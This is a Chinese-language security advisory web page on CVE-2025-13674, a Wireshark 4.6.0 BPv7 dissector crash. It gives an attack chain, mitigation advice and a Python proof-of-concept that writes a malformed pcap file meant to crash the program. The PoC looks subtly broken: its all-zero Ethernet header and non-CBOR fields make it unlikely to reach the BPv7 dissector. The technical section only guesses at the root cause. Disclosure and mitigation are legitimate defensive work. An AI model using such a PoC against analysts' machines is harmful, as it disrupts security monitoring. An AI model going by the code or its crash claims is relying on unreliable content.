IPBUF安全漏洞报告
English
CVE-2025-13674 CVSS 5.5 中危

Wireshark BPv7 dissector崩溃导致拒绝服务漏洞 (CVE-2025-13674)

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-13674
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wireshark 4.6.0

相关标签

拒绝服务WiresharkBPv7Dissector崩溃协议解析器CVE-2025-13674网络协议分析器DoS

漏洞概述

CVE-2025-13674是Wireshark网络协议分析器中的一个拒绝服务漏洞。该漏洞存在于BPv7协议的dissector(协议解析器)组件中,攻击者可以通过构造恶意的BPv7协议数据包来触发Wireshark的崩溃。Wireshark是世界上最流行的开源网络协议分析器,被广泛应用于网络故障排查、安全审计和协议开发等领域。它能够捕获和分析网络流量,支持数百种网络协议。BPv7(Bundle Protocol version 7)是一种用于延迟容忍网络(DTN)的协议,在空间网络和极端网络环境中具有重要应用。当Wireshark解析包含恶意构造的BPv7数据包时,dissector组件会因内存处理错误而崩溃,导致程序终止服务。由于该漏洞的CVSS评分为5.5,属于中危级别,攻击复杂度较低但需要用户交互,攻击者需要诱使目标用户打开恶意的数据包捕获文件或接收特定的网络流量。成功利用此漏洞可导致Wireshark进程崩溃,影响用户的工作效率和网络分析任务的正常进行。在企业环境中,如果安全分析人员依赖Wireshark进行实时网络监控,攻击者可能利用此漏洞干扰安全监测工作。

技术细节

该漏洞的根本原因在于Wireshark 4.6.0版本中的BPv7 dissector在处理特定类型的BPv7协议数据时存在缺陷。BPv7协议是延迟容忍网络(DTN)架构中的核心协议,用于在具有高延迟、频繁中断或不对称连接的网络环境中传输数据。Wireshark的dissector负责解析和显示捕获的网络数据包,当解析BPv7协议时,dissector未能正确处理某些字段的边界条件或异常数据。攻击者可以通过以下方式利用此漏洞:1)创建一个包含恶意BPv7数据包的pcap或pcapng文件;2)诱使目标用户使用存在漏洞的Wireshark版本打开该文件;3)当Wireshark自动调用BPv7 dissector解析数据包时,触发内存访问违规导致进程崩溃。崩溃的具体原因可能包括:缓冲区溢出、空指针解引用、越界读取或写入等内存破坏问题。由于dissector在协议栈中的位置,攻击者还可以通过网络注入的方式在目标捕获流量时触发该漏洞,但这需要攻击者具备中间人位置或直接向目标发送恶意数据包的能力。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意BPv7数据包的捕获文件(pcap/pcapng格式),其中包含畸形或异常的BPv7协议数据
STEP 2
步骤2
攻击者通过邮件、共享文件夹、社工攻击等方式将恶意文件传输给目标用户
STEP 3
步骤3
目标用户使用存在漏洞的Wireshark 4.6.0版本打开恶意捕获文件
STEP 4
步骤4
Wireshark自动调用BPv7 dissector解析恶意数据包
STEP 5
步骤5
Dissector因内存处理错误触发崩溃,导致Wireshark进程终止
STEP 6
步骤6
用户丢失未保存的工作数据,分析任务被中断,造成拒绝服务效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13674 PoC - Wireshark BPv7 dissector crash This PoC generates a malicious pcap file that triggers BPv7 dissector crash """ import struct import sys def create_malicious_pcap(): """ Create a pcap file with malformed BPv7 packets BPv7 (Bundle Protocol v7) uses bundle layer protocol """ # PCAP Global Header pcap_header = struct.pack('<IHHiIII', 0xa1b2c3d4, # Magic number 2, # Version major 4, # Version minor 0, # Timezone 0, # Sigfigs 65535, # Snaplen 1 # Link type (Ethernet) ) # Malformed BPv7 bundle packet # BPv7 bundle header structure with intentional malformed fields bpv7_payload = bytearray() # Bundle Protocol Primary Block bpv7_payload += struct.pack('>B', 0x01) # Block type: Primary bpv7_payload += struct.pack('>B', 0x00) # Block number bpv7_payload += struct.pack('>I', 0xFFFFFFFF) # Block length (malformed) # Version field (malformed to trigger crash) bpv7_payload += struct.pack('>B', 0x07) # Version 7 # Add corrupted data to trigger dissector error bpv7_payload += b'\x00' * 64 # Padding with zeros bpv7_payload += b'\xFF' * 32 # Corrupted data # Add more malformed fields bpv7_payload += struct.pack('>I', 0xDEADBEEF) # Malformed CRC bpv7_payload += b'Corrupted BPv7 data' * 10 # Ethernet header eth_header = b'\x00' * 14 # IP header (IPv4) ip_header = struct.pack('>BBHHHBBH4s4s', 0x45, # Version and IHL 0x00, # TOS 20 + len(bpv7_payload), # Total length 0x0000, # ID 0x0000, # Flags and Fragment 0x40, # TTL 0x11, # Protocol (UDP) 0x0000, # Checksum b'\x0A\x00\x00\x01', # Source IP b'\x0A\x00\x00\x02' # Dest IP ) # UDP header udp_header = struct.pack('>HHHH', 1234, # Source port 4556, # Dest port 8 + len(bpv7_payload), # Length 0x0000 # Checksum ) # Complete packet packet = eth_header + ip_header + udp_header + bytes(bpv7_payload) # PCAP Packet Header packet_header = struct.pack('<IIII', 0, # Timestamp seconds 0, # Timestamp microseconds len(packet), # Captured length len(packet) # Original length ) return pcap_header + packet_header + packet def main(): output_file = 'CVE-2025-13674.pcap' print(f'[*] Generating PoC for CVE-2025-13674') print(f'[*] Target: Wireshark 4.6.0 BPv7 dissector') print(f'[*] Creating malicious pcap file: {output_file}') pcap_data = create_malicious_pcap() with open(output_file, 'wb') as f: f.write(pcap_data) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(pcap_data)} bytes') print(f'[!] Usage: Open this file with Wireshark 4.6.0 to trigger crash') return 0 if __name__ == '__main__': sys.exit(main())

影响范围

Wireshark 4.6.0

防御指南

临时缓解措施
在官方修复版本发布之前,用户应采取以下临时缓解措施:1)避免打开来源不明的pcap或pcapng捕获文件;2)使用邮件网关或Web代理对可疑文件进行扫描和过滤;3)在沙箱环境中分析未知的网络捕获文件;4)使用命令行工具(如editcap、capinfos)检查文件基本信息而不触发完整解析;5)考虑使用Wireshark的禁用协议功能临时禁用BPv7协议解析;6)监控Wireshark进程行为以便及时发现异常崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表